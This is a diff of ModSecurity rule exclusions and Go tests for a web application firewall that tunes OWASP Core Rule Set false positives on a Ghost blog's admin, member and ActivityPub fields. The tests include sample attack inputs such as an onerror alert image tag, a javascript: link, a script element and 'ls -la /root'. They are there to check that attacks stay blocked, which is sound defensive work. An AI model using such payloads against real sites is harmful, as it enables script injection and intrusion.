# rules for scripts and HTML still refuse a <script> element, an event handler
# and a javascript: link in it.
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
"id:900371,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
# labels, which the admin gives the members imported from a CSV file at
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
# "python3 import" and "powershell & .htaccess".
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
"id:900372,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:labels "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
ctl:ruleRemoveTargetById=932380;ARGS:labels"
# In ActivityPub, a note's or a reply's text and the description of its image,
# and an account's name, username and bio, skip the same eight rules. They
# refused "Trying python3 & powershell", the image's description "A terminal
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
# tips". Each field skips them on its own path:
# content and image.altText, posting a note at
# /.ghost/activitypub/v1/actions/note or a reply under
# /.ghost/activitypub/v1/actions/reply/
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
"id:900373,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
"id:900374,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
# A member's email address skips 930120, 932120 and 932260, which refused
# erin.htaccess@example.com, dave.powershell@example.com and
# python3.dev@example.com. These fields hold it:
@@ -285,63 +132,6 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
# The address of a staff invitation skips the same three rules. Each of these
# fields skips them only on its own path:
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
# email in the query, checking an invitation at
# /ghost/api/admin/authentication/invitation/
# invitation.<n>.email, accepting it at the same path
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
"id:900375,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900376,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:email,\
ctl:ruleRemoveTargetById=932120;ARGS:email,\
ctl:ruleRemoveTargetById=932260;ARGS:email"
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
"id:900377,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
# They refused the handles @erin.htaccess@example.com and
# @powershell@example.com, and the addresses
# https://example.com/users/erin.htaccess and
# https://example.com/users/powershell. A handle starts with an @, so 932260
# does not refuse @python3.dev@example.com. The domain of the site's handle
# skips the same three rules as an email address, which refused
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
# Each of these fields skips them only on its own path:
# sourceHandle, an account that moves here, added at
# /.ghost/activitypub/v1/aliases
# actorUri, that account's address, when the admin removes it there
# targetHandle, the account this one moves to, at
# /.ghost/activitypub/v1/migration
# domain, saved at /.ghost/activitypub/v1/domain and checked at
# /.ghost/activitypub/v1/domain/validate
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
"id:900379,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
"id:900380,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
"id:900381,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
@@ -388,10 +178,9 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the eight rules that 900353 lists and these:
# title and the description, skip the rules of plain text above and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# 932235, one of the eight, refused the site's title "powershell & python3".
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
@@ -405,7 +194,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
@@ -428,23 +216,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
# The canonical URL of a post or a page skips the two rules that url skips:
# 930120: https://example.com/blog/.htaccess/
# 932120: https://example.com/blog/powershell/
# Each of these fields skips them only on its own path:
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900383,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
"id:900384,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
# Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
@@ -452,36 +223,6 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
# the code injection of posts. A javascript: link is still refused in it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900378,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
# skips the two rules that url skips:
# 930120: https://example.com/tag/.htaccess/
# 932120: https://example.com/tag/powershell/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900382,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
# The passwords, which skip each rule that random passwords set off:
# password, signing in at /ghost/api/admin/session/
# setup.<n>.password, creating the first staff user
+15 -458
View File
@@ -11,7 +11,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const ghostThreshold = 5
// Paths of Ghost's Admin API, Content API and members' API.
@@ -28,19 +28,6 @@ const (
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
ghostMember = "/members/api/member/"
ghostMagicLink = "/members/api/send-magic-link/"
ghostInvites = "/ghost/api/admin/invites/"
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
ghostOffers = "/ghost/api/admin/offers/"
ghostRecommended = "/ghost/api/admin/recommendations/"
ghostTags = "/ghost/api/admin/tags/"
ghostImport = "/ghost/api/admin/members/upload/"
ghostComments = "/members/api/comments/"
ghostNote = "/.ghost/activitypub/v1/actions/note"
ghostAccount = "/.ghost/activitypub/v1/account"
ghostAliases = "/.ghost/activitypub/v1/aliases"
ghostMigration = "/.ghost/activitypub/v1/migration"
ghostDomain = "/.ghost/activitypub/v1/domain"
)
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -77,7 +64,7 @@ func (f ghostField) with(t *testing.T, value string) string {
)
}
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
@@ -129,111 +116,8 @@ var ghostTextFields = []ghostField{
`{"snippets":[{"name":"VALUE"}]}`,
},
{http.MethodPut, ghostMember, ghostMemberName},
// A staff user's profile, the first staff user, an invitation accepted.
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
// Tiers, offers, recommendations, integrations and webhooks.
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
{
http.MethodPut,
ghostTiers,
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
},
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
{
http.MethodPost,
ghostOffers,
`{"offers":[{"display_description":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"title":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"description":"VALUE"}]}`,
},
{
http.MethodPost,
ghostRecommended,
`{"recommendations":[{"excerpt":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/integrations/",
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/webhooks/",
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
},
// A feature image's alt text and caption.
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
{
http.MethodPut,
ghostPost,
`{"posts":[{"feature_image_caption":` +
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
},
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
// A member's comment, written and edited.
ghostNewComment,
{
http.MethodPut,
ghostComments + "6af5426ae56ecb0001938894/",
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
},
// ActivityPub: a note, a reply, the description of their image, and the
// account.
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
{http.MethodPost, ghostNote, ghostNoteImage},
{http.MethodPost, ghostReply, ghostNoteImage},
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
}
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
//
//nolint:gochecknoglobals // a constant cannot be a struct
var ghostNewComment = ghostField{
http.MethodPost,
ghostComments,
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
}
// ghostComment is the HTML of an ordinary comment, with a link.
const ghostComment = `Try <strong>python3</strong>, then ` +
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
// image, with VALUE as the image's description.
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
// ghostReply is the path that posts a reply to a note in ActivityPub.
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
// ghostMemberName is the body that saves a member's name at /members/api/.
const ghostMemberName = `{"name":"VALUE"}`
@@ -251,8 +135,6 @@ var ghostAddressFields = []ghostField{
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
{
http.MethodPost,
ghostPasswordReset,
@@ -261,43 +143,6 @@ var ghostAddressFields = []ghostField{
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
// sends as an @ followed by an address, with no spaces. They skip 930120 and
// 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostHandleFields = []ghostField{
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
}
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
// skip 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomainFields = []ghostField{
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
}
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
// address of an account removed from those that move here in ActivityPub.
// They skip 930120 and 932120, as url does.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
{
http.MethodPut,
ghostTags + "6af45d4ed281b00001a599a8/",
`{"tags":[{"canonical_url":"VALUE"}]}`,
},
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
}
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
//
@@ -338,8 +183,8 @@ var ghostArticleFields = slices.Concat(
ghostSnippetAndNewsletterFooterFields,
)
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
// and 900378, and take a <script> element by 900366 and 900378.
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
// and take a <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
@@ -358,16 +203,6 @@ var ghostCodeFields = []ghostField{
`{"settings":[{"key":"title","value":"Blog"},` +
`{"key":"codeinjection_head","value":"VALUE"}]}`,
},
{
http.MethodPost,
ghostTags,
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
},
{
http.MethodPut,
ghostTags + "6af45d4ed281b00001a599a8/",
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
},
}
// The query fields that skip some rules, each ending in "=".
@@ -376,50 +211,22 @@ const (
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
ghostSearch = ghostMembers + "?limit=100&search="
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
ghostPathname = ghostStats + "&pathname="
ghostSource = ghostStats + "&source="
ghostCampaign = ghostStats + "&utm_campaign="
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
ghostInvitedEmail = ghostInvitation + "?email="
)
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
// analytics, each ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAnalyticsFilters = []string{
ghostSource,
ghostStats + "&utm_source=",
ghostStats + "&utm_medium=",
ghostCampaign,
ghostStats + "&utm_content=",
ghostStats + "&utm_term=",
}
// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostQueryFields = []string{
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
ghostAccountSearch, ghostInvitedEmail,
}
// ghostCommandNames joins two command names, as an ordinary title can.
const ghostCommandNames = "powershell & python3"
// ghostURLs are addresses 930120 and 932120 refused in url and in
// ghostURLFields.
// ghostURLs are addresses 930120 and 932120 refused in url.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
"https://github.com/example/site/blob/main/.htaccess",
"https://example.com/blog/powershell-tips?ref=ghost",
"https://example.com/docs/python3/",
"https://example.com/blog/powershell/",
"https://example.com/blog/.htaccess/",
}
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
@@ -431,15 +238,6 @@ var ghostAddresses = []string{
"dave.powershell@example.com",
}
// ghostDomains are domains 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomains = []string{
"erin.htaccess.example.com",
"python3.example.com",
"powershell.example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
@@ -529,24 +327,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
for _, address := range ghostURLs {
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
for _, f := range ghostURLFields {
wantGhostField(t, f, address, false)
}
}
for _, address := range ghostAddresses {
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
for _, f := range ghostAddressFields {
wantGhostField(t, f, address, false)
}
}
for _, domain := range ghostDomains {
for _, f := range ghostDomainFields {
wantGhostField(t, f, domain, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
@@ -555,14 +343,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
wantGhostField(t, f, ghostCodeInjection, false)
}
wantGhostField(t, ghostNewComment, ghostComment, false)
wantGhostField(
t,
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
"A terminal running ls -la on .htaccess with python3",
false,
)
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape(
"tag:powershell+status:[draft,scheduled,published,sent]",
@@ -596,8 +376,7 @@ func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
wantGhostField(t, f, ghostWidget, false)
}
// Site code injection, saved in settings, and a post's, a page's or a
// tag's own.
// Site code injection, saved in settings, and a post's or a page's own.
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostAnalytics, false)
}
@@ -616,7 +395,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
@@ -629,7 +407,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
// A script injection stays refused in every field that does not take a
// <script> element.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostSnippetAndNewsletterFooterFields) {
wantGhostField(t, f, scriptTag, true)
}
@@ -638,19 +415,13 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
}
// A command after a separator stays refused wherever 932235 does not
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
// url, pathname, email_segment and email. The other fields skip 932235,
// which refuses "powershell & python3" as it refuses this.
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
ghostDomainFields, ghostURLFields) {
// A command after a separator stays refused wherever its rules do not
// misfire: in the query fields, the plain text and the addresses.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
wantGhostField(t, f, commandAfterASeparator, true)
}
for _, target := range []string{
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
ghostInvitedEmail,
} {
for _, target := range ghostQueryFields {
wantGhostQuery(
t,
target+url.QueryEscape(commandAfterASeparator),
@@ -658,15 +429,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
)
}
// A comment keeps the rules for scripts and HTML.
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
wantGhostField(
t,
ghostNewComment,
`<a href="javascript:alert(1)">x</a>`,
true,
)
// The articles and code injection carry HTML on purpose, but a
// javascript: link is still refused there, and a script element in
// snippets and a newsletter's footer.
@@ -678,138 +440,12 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
}
// An address and the domain keep 932250, which refuses a listing of
// files. A handle keeps it too, but its @ comes before any command.
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
wantGhostField(t, f, "ls -la /root", true)
}
}
func TestGhostTwoCommandNamesPass(t *testing.T) {
t.Parallel()
// The site's title, saved through settings.
siteTitle := ghostField{
http.MethodPut,
ghostSettings,
`{"settings":[{"key":"title","value":"VALUE"}]}`,
}
wantGhostField(t, siteTitle, ghostCommandNames, false)
// Values that join two command names, as a person types them.
for _, typed := range []string{
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
"ls -la & python3",
} {
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
wantGhostField(t, f, typed, false)
}
wantGhostImportLabel(t, ghostImport, typed, false)
for _, target := range slices.Concat(
ghostAnalyticsFilters,
[]string{ghostAccountSearch},
) {
wantGhostQuery(t, target+url.QueryEscape(typed), false)
}
// filter as the admin's post picker writes it, after a person types
// such a title.
